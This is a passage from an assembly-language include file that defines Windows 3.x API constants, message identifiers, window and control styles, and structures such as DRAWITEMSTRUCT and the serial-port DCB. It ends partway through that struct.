MF_CHECKED = 0008h
MF_USECHECKBITMAPS= 0200h
MF_STRING = 0000h
MF_BITMAP = 0004h
MF_OWNERDRAW = 0100h
MF_POPUP = 0010h
MF_MENUBARBREAK = 0020h
MF_MENUBREAK = 0040h
MF_UNHILITE = 0000h
MF_HILITE = 0080h
MF_SYSMENU = 2000h
MF_HELP = 4000h
MF_MOUSESELECT = 8000h
;
; System Menu Command Values
;
SC_SIZE = 0F000h
SC_MOVE = 0F010h
SC_MINIMIZE = 0F020h
SC_MAXIMIZE = 0F030h
SC_NEXTWINDOW = 0F040h
SC_PREVWINDOW = 0F050h
SC_CLOSE = 0F060h
SC_VSCROLL = 0F070h
SC_HSCROLL = 0F080h
SC_MOUSEMENU = 0F090h
SC_KEYMENU = 0F100h
SC_ARRANGE = 0F110h
SC_RESTORE = 0F120h
SC_TASKLIST = 0F130h
SC_SCREENSAVE = 0F140h
SC_HOTKEY = 0F150h
SC_ICON = SC_MINIMIZE
SC_ZOOM = SC_MAXIMIZE
;
; Window State Messages
;
IFNDEF NOWM
WM_STATE = 0000H
WM_NULL = 0000h
WM_CREATE = 0001h
WM_DESTROY = 0002h
WM_MOVE = 0003h
WM_SIZE = 0005h
WM_ACTIVATE = 0006h
WM_SETFOCUS = 0007h
WM_KILLFOCUS = 0008h
WM_ENABLE = 000Ah
WM_SETREDRAW = 000Bh
WM_SETTEXT = 000Ch
WM_GETTEXT = 000Dh
WM_GETTEXTLENGTH = 000Eh
WM_PAINT = 000Fh
WM_CLOSE = 0010h
WM_QUERYENDSESSION = 0011h
WM_QUIT = 0012h
WM_QUERYOPEN = 0013h
WM_ERASEBKGND = 0014h
WM_SYSCOLORCHANGE = 0015h
WM_ENDSESSION = 0016h
WM_SYSTEMERROR = 0017h
WM_SHOWWINDOW = 0018h
WM_CTLCOLOR = 0019h
WM_WININICHANGE = 001Ah
WM_DEVMODECHANGE = 001Bh
WM_ACTIVATEAPP = 001Ch
WM_FONTCHANGE = 001Dh
WM_TIMECHANGE = 001Eh
WM_CANCELMODE = 001Fh
WM_SETCURSOR = 0020h
WM_MOUSEACTIVATE = 0021h
WM_CHILDACTIVATE = 0022h
WM_QUEUESYNC = 0023h
WM_GETMINMAXINFO = 0024h
WM_PAINTICON = 0026h
WM_ICONERASEBKGND = 0027h
WM_NEXTDLGCTL = 0028h
WM_SPOOLERSTATUS = 002Ah
WM_DRAWITEM = 002Bh
WM_MEASUREITEM = 002Ch
WM_DELETEITEM = 002Dh
WM_VKEYTOITEM = 002Eh
WM_CHARTOITEM = 002Fh
WM_SETFONT = 0030h
WM_GETFONT = 0031h
WM_QUERYDRAGICON = 0037h
WM_COMPAREITEM = 0039h
WM_COMPACTING = 0041h
IFNDEF NOWIN31
WM_COMMNOTIFY = 0044h
WM_WINDOWPOSCHANGING= 0046h
WM_WINDOWPOSCHANGED = 0047h
WM_POWER = 0048h
ENDIF
WM_NCCREATE = 0081h
WM_NCDESTROY = 0082h
WM_NCCALCSIZE = 0083h
WM_NCHITTEST = 0084h
WM_NCPAINT = 0085h
WM_NCACTIVATE = 0086h
WM_GETDLGCODE = 0087h
WM_NCMOUSEMOVE = 00A0h
WM_NCLBUTTONDOWN = 00A1h
WM_NCLBUTTONUP = 00A2h
WM_NCLBUTTONDBLCLK = 00A3h
WM_NCRBUTTONDOWN = 00A4h
WM_NCRBUTTONUP = 00A5h
WM_NCRBUTTONDBLCLK = 00A6h
WM_NCMBUTTONDOWN = 00A7h
WM_NCMBUTTONUP = 00A8h
WM_NCMBUTTONDBLCLK = 00A9h
WM_KEYFIRST = 0100h
WM_KEYDOWN = 0100h
WM_KEYUP = 0101h
WM_CHAR = 0102h
WM_DEADCHAR = 0103h
WM_SYSKEYDOWN = 0104h
WM_SYSKEYUP = 0105h
WM_SYSCHAR = 0106h
WM_SYSDEADCHAR = 0107h
WM_KEYLAST = 0108h
WM_INITDIALOG = 0110h
WM_COMMAND = 0111h
WM_SYSCOMMAND = 0112h
WM_TIMER = 0113h
WM_HSCROLL = 0114h
WM_VSCROLL = 0115h
WM_INITMENU = 0116h
WM_INITMENUPOPUP = 0117h
WM_MENUSELECT = 011Fh
WM_MENUCHAR = 0120h
WM_ENTERIDLE = 0121h
WM_MOUSEFIRST = 0200h
WM_MOUSEMOVE = 0200h
WM_LBUTTONDOWN = 0201h
WM_LBUTTONUP = 0202h
WM_LBUTTONDBLCLK = 0203h
WM_RBUTTONDOWN = 0204h
WM_RBUTTONUP = 0205h
WM_RBUTTONDBLCLK = 0206h
WM_MBUTTONDOWN = 0207h
WM_MBUTTONUP = 0208h
WM_MBUTTONDBLCLK = 0209h
WM_MOUSELAST = 0209h
WM_PARENTNOTIFY = 0210h
WM_MDICREATE = 0220h
WM_MDIDESTROY = 0221h
WM_MDIACTIVATE = 0222h
WM_MDIRESTORE = 0223h
WM_MDINEXT = 0224h
WM_MDIMAXIMIZE = 0225h
WM_MDITILE = 0226h
WM_MDICASCADE = 0227h
WM_MDIICONARRANGE = 0228h
WM_MDIGETACTIVE = 0229h
WM_MDISETMENU = 0230h
WM_DROPFILES = 0233h
WM_CUT = 0300h
WM_COPY = 0301h
WM_PASTE = 0302h
WM_CLEAR = 0303h
WM_UNDO = 0304h
WM_RENDERFORMAT = 0305h
WM_RENDERALLFORMATS = 0306h
WM_DESTROYCLIPBOARD = 0307h
WM_DRAWCLIPBOARD = 0308h
WM_PAINTCLIPBOARD = 0309h
WM_VSCROLLCLIPBOARD = 030Ah
WM_SIZECLIPBOARD = 030Bh
WM_ASKCBFORMATNAME = 030Ch
WM_CHANGECBCHAIN = 030Dh
WM_HSCROLLCLIPBOARD = 030Eh
WM_QUERYNEWPALETTE = 030Fh
WM_PALETTEISCHANGING = 0310h
WM_PALETTECHANGED = 0311h
IFNDEF NOWIN31
WM_PENWINFIRST equ 0380h
WM_PENWINLAST equ 038Fh
WM_COALESCE_FIRST equ 0390h
WM_COALESCE_LAST equ 039Fh
ENDIF
; private window messages start here
WM_USER = 0400H
ENDIF ; NOWM
; WM_MOUSEACTIVATE Return Codes
MA_ACTIVATE = 1
MA_ACTIVATEANDEAT = 2
MA_NOACTIVATE = 3
; Size message commands
SIZENORMAL = 0
SIZEICONIC = 1
SIZEFULLSCREEN = 2
SIZEZOOMSHOW = 3
SIZEZOOMHIDE = 4
; ShowWindow() Commands
SW_HIDE = 0
SW_SHOWNORMAL = 1
SW_NORMAL = 1
SW_SHOWMINIMIZED = 2
SW_SHOWMAXIMIZED = 3
SW_MAXIMIZE = 3
SW_SHOWNOACTIVATE = 4
SW_SHOW = 5
SW_MINIMIZE = 6
SW_SHOWMINNOACTIVE = 7
SW_SHOWNA = 8
SW_RESTORE = 9
; Old ShowWindow() Commands
HIDE_WINDOW = 0
SHOW_OPENWINDOW = 1
SHOW_ICONWINDOW = 2
SHOW_FULLSCREEN = 3
SHOW_OPENNOACTIVATE= 4
; identifiers for the WM_SHOWWINDOW message
SW_PARENTCLOSING = 1
SW_OTHERZOOM = 2
SW_PARENTOPENING = 3
SW_OTHERUNZOOM = 4
;
; Key state masks for mouse messages
;
MK_LBUTTON = 0001h
MK_RBUTTON = 0002h
MK_SHIFT = 0004h
MK_CONTROL = 0008h
MK_MBUTTON = 0010h
;
; Class styles
;
CS_VREDRAW = 0001h
CS_HREDRAW = 0002h
CS_KEYCVTWINDOW = 0004H
CS_DBLCLKS = 0008h
; 0010h reserved
CS_OWNDC = 0020h
CS_CLASSDC = 0040h
CS_PARENTDC = 0080h
CS_NOKEYCVT = 0100h
CS_SAVEBITS = 0800h
CS_NOCLOSE = 0200h
CS_BYTEALIGNCLIENT = 1000h
CS_BYTEALIGNWINDOW = 2000h
CS_GLOBALCLASS = 4000h ; Global window class
;
; Special CreateWindow position value
;
CW_USEDEFAULT EQU 8000h
;
; Windows styles (the high words)
;
WS_OVERLAPPED = 00000h
WS_ICONICPOPUP = 0C000h
WS_POPUP = 08000h
WS_CHILD = 04000h
WS_MINIMIZE = 02000h
WS_VISIBLE = 01000h
WS_DISABLED = 00800h
WS_CLIPSIBLINGS = 00400h
WS_CLIPCHILDREN = 00200h
WS_MAXIMIZE = 00100h
WS_CAPTION = 000C0h ; WS_BORDER | WS_DLGFRAME
WS_BORDER = 00080h
WS_DLGFRAME = 00040h
WS_VSCROLL = 00020h
WS_HSCROLL = 00010h
WS_SYSMENU = 00008h
WS_THICKFRAME = 00004h
WS_HREDRAW = 00002h
WS_VREDRAW = 00001h
WS_GROUP = 00002h
WS_TABSTOP = 00001h
WS_MINIMIZEBOX = 00002h
WS_MAXIMIZEBOX = 00001h
; Common Window Styles
WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME + WS_MINIMIZEBOX + WS_MAXIMIZEBOX
WS_POPUPWINDOW = WS_POPUP + WS_BORDER + WS_SYSMENU
WS_CHILDWINDOW = WS_CHILD
WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW
WS_TILED = WS_OVERLAPPED
WS_ICONIC = WS_MINIMIZE
WS_SIZEBOX = WS_THICKFRAME
; Extended Window Styles (low words)
WS_EX_DLGMODALFRAME = 0001
WS_EX_DRAGOBJECT = 0002
WS_EX_NOPARENTNOTIFY = 0004
WS_EX_TOPMOST = 0008
;
; predefined clipboard formats
;
CF_TEXT = 1
CF_BITMAP = 2
CF_METAFILEPICT = 3
CF_SYLK = 4
CF_DIF = 5
CF_TIFF = 6
CF_OEMTEXT = 7
CF_DIB = 8
CF_PALETTE = 9
CF_PENDATA = 10
CF_RIFF = 11
CF_WAVE = 12
CF_OWNERDISPLAY = 80h ; owner display
CF_DSPTEXT = 81h ; display text
CF_DSPBITMAP = 82h ; display bitmap
CF_DSPMETAFILEPICT = 83h ; display metafile
;
; Private clipboard format range
;
CF_PRIVATEFIRST = 200h ; Anything in this range doesn't
CF_PRIVATELAST = 2ffh ; get GlobalFree'd
CF_GDIOBJFIRST = 300h ; Anything in this range gets
CF_GDIOBJLAST = 3ffh ; DeleteObject'ed
MAKEINTRESOURCE MACRO a
mov ax,a
xor dx,dx
ENDM
;
; Predefined resource types
;
RT_CURSOR = 1 ; must be passed through MAKEINTRESOURCE
RT_BITMAP = 2
RT_ICON = 3
RT_MENU = 4
RT_DIALOG = 5
RT_STRING = 6
RT_FONTDIR = 7
RT_FONT = 8
RT_ACCELERATOR = 9
RT_RCDATA = 10
;** NOTE: if any new resource types are introduced above this point, then the
;** value of DIFFERENCE must be changed.
;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE
;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE
DIFFERENCE = 11
RT_GROUP_CURSOR = RT_CURSOR + DIFFERENCE
RT_GROUP_ICON = RT_ICON + DIFFERENCE
IFNDEF NOMDI
MDICREATESTRUCT struc
szClass dd ?
szTitle dd ?
hOwner dw ?
x dw ?
y dw ?
cxc dw ?
cyc dw ?
style dd ?
MDICREATESTRUCT ends
CLIENTCREATESTRUCT struc
hWindowMenu dw ?
idFirstChild dw ?
CLIENTCREATESTRUCT ends
ENDIF
; NOMDI
PALETTEENTRY struc
peRed db ?
peGreen db ?
peBlue db ?
peFlags db ?
PALETTEENTRY ends
; Logical Palette
LOGPALETTE struc
palVersion dw ?
palNumEntries dw ?
palPalEntry db ? ; array of PALETTEENTRY
LOGPALETTE ends
; DRAWITEMSTRUCT for ownerdraw
DRAWITEMSTRUCT struc
drCtlType dw ?
drCtlID dw ?
dritemID dw ?
dritemAction dw ?
dritemState dw ?
drhwndItem dw ?
drhDC dw ?
drrcItem DB size RECT dup(?)
dritemData dd ?
DRAWITEMSTRUCT ends
; DELETEITEMSTRUCT for ownerdraw
DELETEITEMSTRUCT struc
deCtlType dw ?
deCtlID dw ?
deitemID dw ?
dehwndItem dw ?
deitemData dd ?
DELETEITEMSTRUCT ends
; MEASUREITEMSTRUCT for ownerdraw
MEASUREITEMSTRUCT struc
meCtlType dw ?
meCtlID dw ?
meitemID dw ?
meitemWidth dw ?
meitemHeight dw ?
meitemData dd ?
MEASUREITEMSTRUCT ends
; COMPAREITEMSTUCT for ownerdraw sorting
COMPAREITEMSTRUCT struc
coCtlType dw ?
coCtlID dw ?
cohwndItem dw ?
coitemID1 dw ?
coitemData1 dd ?
coitemID2 dw ?
coitemData2 dd ?
COMPAREITEMSTRUCT ends
; Owner draw control types
ODT_MENU = 1
ODT_LISTBOX = 2
ODT_COMBOBOX = 3
ODT_BUTTON = 4
; Owner draw actions
ODA_DRAWENTIRE = 1
ODA_SELECT = 2
ODA_FOCUS = 4
; Owner draw state
ODS_SELECTED = 0001h
ODS_GRAYED = 0002h
ODS_DISABLED = 0004h
ODS_CHECKED = 0008h
ODS_FOCUS = 0010h
; PeekMessage() Options
PM_NOREMOVE = 0000h
PM_REMOVE = 0001h
PM_NOYIELD = 0002h
; SetWindowPos Flags
SWP_NOSIZE = 0001h
SWP_NOMOVE = 0002h
SWP_NOZORDER = 0004h
SWP_NOREDRAW = 0008h
SWP_NOACTIVATE = 0010h
SWP_DRAWFRAME = 0020h
SWP_SHOWWINDOW = 0040h
SWP_HIDEWINDOW = 0080h
SWP_NOCOPYBITS = 0100h
SWP_NOREPOSITION = 0200h
IFNDEF NOWINMESSAGES
; Listbox messages
LB_ADDSTRING = (WM_USER+1)
LB_INSERTSTRING = (WM_USER+2)
LB_DELETESTRING = (WM_USER+3)
LB_RESETCONTENT = (WM_USER+5)
LB_SETSEL = (WM_USER+6)
LB_SETCURSEL = (WM_USER+7)
LB_GETSEL = (WM_USER+8)
LB_GETCURSEL = (WM_USER+9)
LB_GETTEXT = (WM_USER+10)
LB_GETTEXTLEN = (WM_USER+11)
LB_GETCOUNT = (WM_USER+12)
LB_SELECTSTRING = (WM_USER+13)
LB_DIR = (WM_USER+14)
LB_GETTOPINDEX = (WM_USER+15)
LB_FINDSTRING = (WM_USER+16)
LB_GETSELCOUNT = (WM_USER+17)
LB_GETSELITEMS = (WM_USER+18)
LB_SETTABSTOPS = (WM_USER+19)
LB_GETHORIZONTALEXTENT = (WM_USER+20)
LB_SETHORIZONTALEXTENT = (WM_USER+21)
LB_SETTOPINDEX = (WM_USER+24)
LB_GETITEMRECT = (WM_USER+25)
LB_GETITEMDATA = (WM_USER+26)
LB_SETITEMDATA = (WM_USER+27)
LB_SELITEMRANGE = (WM_USER+28)
LB_SETCARETINDEX = (WM_USER+31)
LB_GETCARETINDEX = (WM_USER+32)
IFNDEF NOWIN31
LB_SETITEMHEIGHT = (WM_USER+33)
LB_GETITEMHEIGHT = (WM_USER+34)
LB_FINDSTRINGEXACT = (WM_USER+35)
ENDIF
ENDIF
; NOWINMESSAGES
; Listbox Styles
LBS_NOTIFY = 0001h
LBS_SORT = 0002h
LBS_NOREDRAW = 0004h
LBS_MULTIPLESEL = 0008h
LBS_OWNERDRAWFIXED = 0010h
LBS_OWNERDRAWVARIABLE = 0020h
LBS_HASSTRINGS = 0040h
LBS_USETABSTOPS = 0080h
LBS_NOINTEGRALHEIGHT = 0100h
LBS_MULTICOLUMN = 0200h
LBS_WANTKEYBOARDINPUT = 0400h
LBS_EXTENDEDSEL = 0800h
LBS_STANDARD = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER
LBS_DISABLENOSCROLL = 1000h
; Listbox Notification Codes
LBN_ERRSPACE = (-2)
LBN_SELCHANGE = 1
LBN_DBLCLK = 2
LBN_SELCANCEL = 3
LBN_SETFOCUS = 4
LBN_KILLFOCUS = 5
IFNDEF NOWINMESSAGES
; Edit Control Messages
EM_GETSEL = (WM_USER+0)
EM_SETSEL = (WM_USER+1)
EM_GETRECT = (WM_USER+2)
EM_SETRECT = (WM_USER+3)
EM_SETRECTNP = (WM_USER+4)
EM_SCROLL = (WM_USER+5)
EM_LINESCROLL = (WM_USER+6)
EM_GETMODIFY = (WM_USER+8)
EM_SETMODIFY = (WM_USER+9)
EM_GETLINECOUNT = (WM_USER+10)
EM_LINEINDEX = (WM_USER+11)
EM_SETHANDLE = (WM_USER+12)
EM_GETHANDLE = (WM_USER+13)
EM_LINELENGTH = (WM_USER+17)
EM_REPLACESEL = (WM_USER+18)
EM_SETFONT = (WM_USER+19)
EM_GETLINE = (WM_USER+20)
EM_LIMITTEXT = (WM_USER+21)
EM_CANUNDO = (WM_USER+22)
EM_UNDO = (WM_USER+23)
EM_FMTLINES = (WM_USER+24)
EM_LINEFROMCHAR = (WM_USER+25)
EM_SETWORDBREAK = (WM_USER+26)
EM_SETTABSTOPS = (WM_USER+27)
EM_SETPASSWORDCHAR = (WM_USER+28)
EM_EMPTYUNDOBUFFER = (WM_USER+29)
IFNDEF NOWIN31
EM_GETFIRSTVISIBLELINE = (WM_USER+30)
EM_SETREADONLY = (WM_USER+31)
EM_SETWORDBREAKPROC = (WM_USER+32)
EM_GETWORDBREAKPROC = (WM_USER+33)
EM_GETPASSWORDCHAR = (WM_USER+34)
ENDIF
ENDIF
; NOWINMESSAGES
; Edit Control Styles (low word)
ES_LEFT = 0000h
ES_CENTER = 0001h
ES_RIGHT = 0002h
ES_MULTILINE = 0004h
ES_UPPERCASE = 0008h
ES_LOWERCASE = 0010h
ES_PASSWORD = 0020h
ES_AUTOVSCROLL = 0040h
ES_AUTOHSCROLL = 0080h
ES_NOHIDESEL = 0100h
ES_OEMCONVERT = 0400h
IFNDEF NOWIN31
ES_READONLY = 0800h
ES_WANTRETURN = 1000h
ENDIF
; Edit Control Notification Codes
EN_SETFOCUS = 0100h
EN_KILLFOCUS = 0200h
EN_CHANGE = 0300h
EN_UPDATE = 0400h
EN_ERRSPACE = 0500h
EN_MAXTEXT = 0501h
EN_HSCROLL = 0601h
EN_VSCROLL = 0602h
IFNDEF NOWINMESSAGES
; Button Control Messages
BM_GETCHECK = (WM_USER+0)
BM_SETCHECK = (WM_USER+1)
BM_GETSTATE = (WM_USER+2)
BM_SETSTATE = (WM_USER+3)
BM_SETSTYLE = (WM_USER+4)
ENDIF
; NOWINMESSAGES
; Button Control Styles (low word)
BS_PUSHBUTTON = 00h
BS_DEFPUSHBUTTON = 01h
BS_CHECKBOX = 02h
BS_AUTOCHECKBOX = 03h
BS_RADIOBUTTON = 04h
BS_3STATE = 05h
BS_AUTO3STATE = 06h
BS_GROUPBOX = 07h
BS_USERBUTTON = 08h
BS_AUTORADIOBUTTON = 09h
BS_OWNERDRAW = 0Bh
BS_LEFTTEXT = 20h
; User Button Notification Codes
BN_CLICKED = 0
BN_PAINT = 1
BN_HILITE = 2
BN_UNHILITE = 3
BN_DISABLE = 4
BN_DOUBLECLICKED = 5
; Dialog Styles (low words)
DS_ABSALIGN = 01h
DS_SYSMODAL = 02h
DS_LOCALEDIT = 20h ;/* Edit items get Local storage. */
DS_SETFONT = 40h ;/* User specified font for Dlg controls */
DS_MODALFRAME = 80h ;/* Can be combined with WS_CAPTION */
DS_NOIDLEMSG = 100h ;/* WM_ENTERIDLE message will not be sent */
IFNDEF NOWINMESSAGES
; Dialog box messages
DM_GETDEFID = (WM_USER+0)
DM_SETDEFID = (WM_USER+1)
ENDIF ;NOWINMESSAGES
; Dialog Codes
DLGC_WANTARROWS = 0001h ; /* Control wants arrow keys */
DLGC_WANTTAB = 0002h ; /* Control wants tab keys */
DLGC_WANTALLKEYS = 0004h ; /* Control wants all keys */
DLGC_WANTMESSAGE = 0004h ; /* Pass message to control */
DLGC_HASSETSEL = 0008h ; /* Understands EM_SETSEL message */
DLGC_DEFPUSHBUTTON = 0010h ; /* Default pushbutton */
DLGC_UNDEFPUSHBUTTON= 0020h ; /* Non-default pushbutton */
DLGC_RADIOBUTTON = 0040h ; /* Radio button */
DLGC_WANTCHARS = 0080h ; /* Want WM_CHAR messages */
DLGC_STATIC = 0100h ; /* Static item: don't include */
DLGC_BUTTON = 2000h ; /* Button item: can be checked */
; Combo Box return Values
CB_OKAY = 0
CB_ERR = (-1)
CB_ERRSPACE = (-2)
; Combo Box Notification Codes
CBN_ERRSPACE = (-1)
CBN_SELCHANGE = 1
CBN_DBLCLK = 2
CBN_SETFOCUS = 3
CBN_KILLFOCUS = 4
CBN_EDITCHANGE = 5
CBN_EDITUPDATE = 6
CBN_DROPDOWN = 7
; Combo Box styles (low words)
CBS_SIMPLE = 0001h
CBS_DROPDOWN = 0002h
CBS_DROPDOWNLIST = 0003h
CBS_OWNERDRAWFIXED = 0010h
CBS_OWNERDRAWVARIABLE= 0020h
CBS_AUTOHSCROLL = 0040h
CBS_OEMCONVERT = 0080h
CBS_SORT = 0100h
CBS_HASSTRINGS = 0200h
CBS_NOINTEGRALHEIGHT = 0400h
IFNDEF NOWINMESSAGES
; Combo Box messages
CB_GETEDITSEL = (WM_USER+0)
CB_LIMITTEXT = (WM_USER+1)
CB_SETEDITSEL = (WM_USER+2)
CB_ADDSTRING = (WM_USER+3)
CB_DELETESTRING = (WM_USER+4)
CB_DIR = (WM_USER+5)
CB_GETCOUNT = (WM_USER+6)
CB_GETCURSEL = (WM_USER+7)
CB_GETLBTEXT = (WM_USER+8)
CB_GETLBTEXTLEN = (WM_USER+9)
CB_INSERTSTRING = (WM_USER+10)
CB_RESETCONTENT = (WM_USER+11)
CB_FINDSTRING = (WM_USER+12)
CB_SELECTSTRING = (WM_USER+13)
CB_SETCURSEL = (WM_USER+14)
CB_SHOWDROPDOWN = (WM_USER+15)
CB_GETITEMDATA = (WM_USER+16)
CB_SETITEMDATA = (WM_USER+17)
IFNDEF NOWIN31
CB_GETDROPPEDCONTROLRECT = (WM_USER+18)
CB_SETITEMHEIGHT = (WM_USER+19)
CB_GETITEMHEIGHT = (WM_USER+20)
CB_SETEXTENDEDUI = (WM_USER+21)
CB_GETEXTENDEDUI = (WM_USER+22)
CB_GETDROPPEDSTATE = (WM_USER+23)
CB_FINDSTRINGEXACT = (WM_USER+24)
ENDIF
ENDIF ; NOWINMESSAGES
; Static Control styles (low word)
SS_LEFT = 00h
SS_CENTER = 01h
SS_RIGHT = 02h
SS_ICON = 03h
SS_BLACKRECT = 04h
SS_GRAYRECT = 05h
SS_WHITERECT = 06h
SS_BLACKFRAME = 07h
SS_GRAYFRAME = 08h
SS_WHITEFRAME = 09h
SS_SIMPLE = 0Bh
SS_LEFTNOWORDWRAP = 0Ch
SS_NOPREFIX = 80h ; Don't do "&" character translation
IFNDEF NOWIN31
IFNDEF NOWINMESSAGES
;Static Control Messages
STM_SETICON = (WM_USER+0)
STM_GETICON = (WM_USER+1)
ENDIF
ENDIF
; Scroll Bar Styles (low word)
SBS_HORZ = 0000h
SBS_VERT = 0001h
SBS_TOPALIGN = 0002h
SBS_LEFTALIGN = 0002h
SBS_BOTTOMALIGN = 0004h
SBS_RIGHTALIGN = 0004h
SBS_SIZEBOXTOPLEFTALIGN = 0002h
SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h
SBS_SIZEBOX = 0008h
IFNDEF NOSYSMETRICS
; GetSystemMetrics() codes
SM_CXSCREEN = 0
SM_CYSCREEN = 1
SM_CXVSCROLL = 2
SM_CYHSCROLL = 3
SM_CYCAPTION = 4
SM_CXBORDER = 5
SM_CYBORDER = 6
SM_CXDLGFRAME = 7
SM_CYDLGFRAME = 8
SM_CYVTHUMB = 9
SM_CXHTHUMB = 10
SM_CXICON = 11
SM_CYICON = 12
SM_CXCURSOR = 13
SM_CYCURSOR = 14
SM_CYMENU = 15
SM_CXFULLSCREEN = 16
SM_CYFULLSCREEN = 17
SM_CYKANJIWINDOW = 18
SM_MOUSEPRESENT = 19
SM_CYVSCROLL = 20
SM_CXHSCROLL = 21
SM_DEBUG = 22
SM_SWAPBUTTON = 23
SM_RESERVED1 = 24
SM_RESERVED2 = 25
SM_RESERVED3 = 26
SM_RESERVED4 = 27
SM_CXMIN = 28
SM_CYMIN = 29
SM_CXSIZE = 30
SM_CYSIZE = 31
SM_CXFRAME = 32
SM_CYFRAME = 33
SM_CXMINTRACK = 34
SM_CYMINTRACK = 35
IFNDEF NOWIN31
SM_CXDOUBLECLK = 36
SM_CYDOUBLECLK = 37
SM_CXICONSPACING = 38
SM_CYICONSPACING = 39
SM_MENUDROPALIGNMENT = 40
SM_PENWINDOWS = 41
SM_DBCSENABLED = 42
ENDIF
SM_CMETRICSMAX = 43
ENDIF ;NOSYSMETRICS
IFNDEF NOCOLOR
COLOR_SCROLLBAR = 0
COLOR_BACKGROUND = 1
COLOR_ACTIVECAPTION = 2
COLOR_INACTIVECAPTION = 3
COLOR_MENU = 4
COLOR_WINDOW = 5
COLOR_WINDOWFRAME = 6
COLOR_MENUTEXT = 7
COLOR_WINDOWTEXT = 8
COLOR_CAPTIONTEXT = 9
COLOR_ACTIVEBORDER = 10
COLOR_INACTIVEBORDER = 11
COLOR_APPWORKSPACE = 12
COLOR_HIGHLIGHT = 13
COLOR_HIGHLIGHTTEXT = 14
COLOR_BTNFACE = 15
COLOR_BTNSHADOW = 16
COLOR_GRAYTEXT = 17
COLOR_BTNTEXT = 18
IFNDEF NOWIN31
COLOR_INACTIVECAPTIONTEXT = 19
COLOR_BTNHILIGHT = 20
ENDIF
ENDIF ;NOCOLOR
; Commands to pass WinHelp()
HELP_CONTEXT =0001h ;/* Display topic in ulTopic */
HELP_QUIT =0002h ;/* Terminate help */
HELP_INDEX =0003h ;/* Display index */
HELP_HELPONHELP =0004h ;/* Display help on using help */
HELP_SETINDEX =0005h ;/* Set the current Index for multi index help */
HELP_KEY =0101h ;/* Display topic for keyword in offabData */
IFNDEF NOCOMM
NOPARITY = 0
ODDPARITY = 1
EVENPARITY = 2
MARKPARITY = 3
SPACEPARITY = 4
ONESTOPBIT = 0
ONE5STOPBITS = 1
TWOSTOPBITS = 2
IGNORE = 0 ; /* Ignore signal */
INFINITE = 0FFFFh ; /* Infinite timeout */
; Error Flags
CE_RXOVER = 0001h ; /* Receive Queue overflow */
CE_OVERRUN = 0002h ; /* Receive Overrun Error */
CE_RXPARITY = 0004h ; /* Receive Parity Error */
CE_FRAME = 0008h ; /* Receive Framing error */
CE_BREAK = 0010h ; /* Break Detected */
CE_CTSTO = 0020h ; /* CTS Timeout */
CE_DSRTO = 0040h ; /* DSR Timeout */
CE_RLSDTO = 0080h ; /* RLSD Timeout */
CE_TXFULL = 0100h ; /* TX Queue is full */
CE_PTO = 0200h ; /* LPTx Timeout */
CE_IOE = 0400h ; /* LPTx I/O Error */
CE_DNS = 0800h ; /* LPTx Device not selected */
CE_OOP = 1000h ; /* LPTx Out-Of-Paper */
CE_MODE = 8000h ; /* Requested mode unsupported */
IE_BADID = (-1) ; /* Invalid or unsupported id */
IE_OPEN = (-2) ; /* Device Already Open */
IE_NOPEN = (-3) ; /* Device Not Open */
IE_MEMORY = (-4) ; /* Unable to allocate queues */
IE_DEFAULT = (-5) ; /* Error in default parameters */
IE_HARDWARE = (-10) ; /* Hardware Not Present */
IE_BYTESIZE = (-11) ; /* Illegal Byte Size */
IE_BAUDRATE = (-12) ; /* Unsupported BaudRate */
; Events
EV_RXCHAR = 0001h ; /* Any Character received */
EV_RXFLAG = 0002h ; /* Received certain character */
EV_TXEMPTY = 0004h ; /* Transmitt Queue Empty */
EV_CTS = 0008h ; /* CTS changed state */
EV_DSR = 0010h ; /* DSR changed state */
EV_RLSD = 0020h ; /* RLSD changed state */
EV_BREAK = 0040h ; /* BREAK received */
EV_ERR = 0080h ; /* Line status error occurred */
EV_RING = 0100h ; /* Ring signal detected */
EV_PERR = 0200h ; /* Printer error occured */
EV_CTSS = 0400h ; /* CTS state */
EV_DSRS = 0800h ; /* DSR state */
EV_RLSDS = 1000h ; /* RLSD state */
EV_RingTe = 2000h ; /* Ring Trailing Edge Indicator */
; Escape Functions
SETXOFF = 1 ; /* Simulate XOFF received */
SETXON = 2 ; /* Simulate XON received */
SETRTS = 3 ; /* Set RTS high */
CLRRTS = 4 ; /* Set RTS low */
SETDTR = 5 ; /* Set DTR high */
CLRDTR = 6 ; /* Set DTR low */
RESETDEV = 7 ; /* Reset device if possible */
LPTx = 80h ; /* Set if ID is for LPT device */
IFNDEF NOWIN31
; new escape functions
GETMAXLPT equ 8 ; Max supported LPT id
GETMAXCOM equ 9 ; Max supported COM id
GETBASEIRQ equ 10 ; Get port base & irq for a port
; Comm Baud Rate indices
CBR_110 equ 0FF10h
CBR_300 equ 0FF11h
CBR_600 equ 0FF12h
CBR_1200 equ 0FF13h
CBR_2400 equ 0FF14h
CBR_4800 equ 0FF15h
CBR_9600 equ 0FF16h
CBR_14400 equ 0FF17h
CBR_19200 equ 0FF18h
; 0FF19h (reserved)
; 0FF1Ah (reserved)
CBR_38400 equ 0FF1Bh
; 0FF1Ch (reserved)
; 0FF1Dh (reserved)
; 0FF1Eh (reserved)
CBR_56000 equ 0FF1Fh
; 0FF20h (reserved)
; 0FF21h (reserved)
; 0FF22h (reserved)
CBR_128000 equ 0FF23h
; 0FF24h (reserved)
; 0FF25h (reserved)
; 0FF26h (reserved)
CBR_256000 equ 0FF27h
; notifications passed in low word of lParam on WM_COMMNOTIFY messages
CN_RECEIVE equ 1 ; bytes are available in the input queue
CN_TRANSMIT equ 2 ; fewer than wOutTrigger bytes still
; remain in the output queue waiting
; to be transmitted.
CN_EVENT equ 4 ; an enabled event has occurred
ENDIF
DCB struc
DCB_Id db ? ; /* Internal Device ID */
DCB_BaudRate dw ? ; /* Baudrate at which runing */
DCB_ByteSize db ? ; /* Number of bits/byte, 4-8 */
DCB_Parity db ? ; /* 0-4=None,Odd,Even,Mark,Space */
DCB_StopBits db ? ; /* 0,1,2 = 1, 1.5, 2 */
DCB_RlsTimeout dw ? ; /* Timeout for RLSD to be set */
DCB_CtsTimeout dw ? ; /* Timeout for CTS to be set */
DCB_DsrTimeout dw ? ; /* Timeout for DSR to be set */
